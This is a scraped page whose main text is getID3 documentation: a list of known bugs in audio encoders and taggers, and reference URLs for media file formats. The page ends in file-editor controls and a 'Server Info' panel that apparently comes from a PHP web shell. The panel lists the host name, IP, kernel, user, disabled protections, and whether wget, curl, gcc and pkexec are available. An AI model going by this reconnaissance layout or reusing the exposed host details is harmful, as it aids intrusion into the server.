Ogg comment strings, supposed to be in the format "NAME=value" but actually written just "value" (detected by getID3()) * Oggenc 0.9-rc3 flags the encoded file as ABR whether it's actually ABR or VBR. * iTunes (versions "v7.0.0.70" is known-guilty, probably other versions are too) writes ID3v2.3 comment tags using an ID3v2.2 frame name (3-bytes) null-padded to 4 bytes which is not valid for ID3v2.3+ (detected by getID3() since 1.9.12-201603221746) * iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably other versions are too) writes ID3v2.3 comment tags using a frame name 'COM ' which is not valid for ID3v2.3+ (it's an ID3v2.2-style frame name) (detected by getID3()) * MP2enc does not encode mono CBR MP2 files properly (half speed sound and double playtime) * MP2enc does not encode mono VBR MP2 files properly (actually encoded as stereo) * tooLAME does not encode mono VBR MP2 files properly (actually encoded as stereo) * AACenc encodes files in VBR mode (actually ABR) even if CBR is specified * AAC/ADIF - bitrate_mode = cbr for vbr files * LAME 3.90-3.92 prepends one frame of null data (space for the LAME/VBR header, but it never gets written) when encoding in CBR mode with the DLL * Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for TwinVQF v2.0 (detected by getID3()) * Ahead Nero encodes TwinVQF files 1 second shorter than they should be * AAC-ADTS files are always actually encoded VBR, even if CBR mode is specified (the CBR-mode switches on the encoder enable ABR mode, not CBR as such, but it's not possible to tell the difference between such ABR files and true VBR) * STREAMINFO.audio_signature in OggFLAC is always null. "The reason it's like that is because there is no seeking support in libOggFLAC yet, so it has no way to go back and write the computed sum after encoding. Seeking support in Ogg FLAC is the #1 item for the next release." - Josh Coalson (FLAC developer) NOTE: getID3() will calculate md5_data in a method similar to other file formats, but that value cannot be compared to the md5_data value from FLAC data in a FLAC file format. * STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 & v0.4.0 - getID3() will calculate md5_data in a method similar to other file formats, but that value cannot be compared to the md5_data value from FLAC v0.5.0+ * RioPort (various versions including 2.0 and 3.11) tags ID3v2 with a WCOM frame that has no data portion * Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis files, thus making them corrupt. * Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the last byte of data from an MP3 file when appending a new ID3v1 tag. (detected by getID3()) * Lossless-Audio files encoded with and without the -noseek switch do actually differ internally and therefore cannot match md5_data * iTunes has been known to append a new ID3v1 tag on the end of an existing ID3v1 tag when ID3v2 tag is also present (detected by getID3()) * MediaMonkey may write a blank RGAD ID3v2 frame but put actual replay gain adjustments in a series of user-defined TXXX frames (detected and handled by getID3() since v1.9.2) Reference material: =========================================================================== [www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/] * http://www.id3.org/id3v2.4.0-structure.txt * http://www.id3.org/id3v2.4.0-frames.txt * http://www.id3.org/id3v2.4.0-changes.txt * http://www.id3.org/id3v2.3.0.txt * http://www.id3.org/id3v2-00.txt * http://www.id3.org/mp3frame.html * http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html <mathewhendry@hotmail.com> * http://www.dv.co.yu/mpgscript/mpeghdr.htm * http://www.mp3-tech.org/programmer/frame_header.html * http://users.belgacom.net/gc247244/extra/tag.html * http://gabriel.mp3-tech.org/mp3infotag.html * http://www.id3.org/iso4217.html * http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT * http://www.xiph.org/ogg/vorbis/doc/framing.html * http://www.xiph.org/ogg/vorbis/doc/v-comment.html * http://leknor.com/code/php/class.ogg.php.txt * http://www.id3.org/iso639-2.html * http://www.id3.org/lyrics3.html * http://www.id3.org/lyrics3200.html * http://www.psc.edu/general/software/packages/ieee/ieee.html * http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html * http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html * http://www.jmcgowan.com/avi.html * http://www.wotsit.org/ * http://www.herdsoft.com/ti/davincie/davp3xo2.htm * http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html * "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org) * http://midistudio.com/Help/GMSpecs_Patches.htm * http://www.xiph.org/archives/vorbis/200109/0459.html * http://www.replaygain.org/ * http://www.lossless-audio.com/ * http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe * http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf * http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/) * http://jfaul.de/atl/ * http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/) * http://www.libpng.org/pub/png/spec/png-1.2-pdg.html * http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm * http://www.fastgraph.com/help/bmp_os2_header_format.html * http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm * http://flac.sourceforge.net/format.html * http://www.research.att.com/projects/mpegaudio/mpeg2.html * http://www.audiocoding.com/wiki/index.php?page=AAC * http://libmpeg.org/mpeg4/doc/w2203tfs.pdf * http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt * http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm * http://www.nullsoft.com/nsv/ * http://www.wotsit.org/download.asp?f=iso9660 * http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html * http://www.cdroller.com/htm/readdata.html * http://www.speex.org/manual/node10.html * http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc * http://www.faqs.org/rfcs/rfc2361.html * http://ghido.shelter.ro/ * http://www.ebu.ch/tech_t3285.pdf * http://www.sr.se/utveckling/tu/bwf * http://ftp.aessc.org/pub/aes46-2002.pdf * http://cartchunk.org:8080/ * http://www.broadcastpapers.com/radio/cartchunk01.htm * http://www.hr/josip/DSP/AudioFile2.html * http://home.attbi.com/~chris.bagwell/AudioFormats-11.html * http://www.pure-mac.com/extkey.html * http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt * http://www.headbands.com/gspot/ * http://www.openswf.org/spec/SWFfileformat.html * http://j-faul.virtualave.net/ * http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html * http://cui.unige.ch/OSG/info/AudioFormats/ap11.html * http://sswf.sourceforge.net/SWFalexref.html * http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt * http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm * http://developer.apple.com/quicktime/icefloe/dispatch012.html * http://www.csdn.net/Dev/Format/graphics/PCD.htm * http://tta.iszf.irk.ru/ * http://www.atsc.org/standards/a_52a.pdf * http://www.alanwood.net/unicode/ * http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html * http://www.its.msstate.edu/net/real/reports/config/tags.stats * http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt * http://brennan.young.net/Comp/LiveStage/things.html * http://www.multiweb.cz/twoinches/MP3inside.htm * http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended * http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ * http://www.unicode.org/unicode/faq/utf_bom.html * http://tta.corecodec.org/?menu=format * http://www.scvi.net/nsvformat.htm * http://pda.etsi.org/pda/queryform.asp * http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm * http://trac.musepack.net/trac/wiki/SV8Specification * http://wyday.com/cuesharp/specification.php * http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html * http://www.codeproject.com/Articles/8295/MPEG-Audio-Frame-Header * http://dsd-guide.com/sites/default/files/white-papers/DSFFileFormatSpec_E.pdf * https://fileformats.fandom.com/wiki/Torrent_file
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 212.36 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042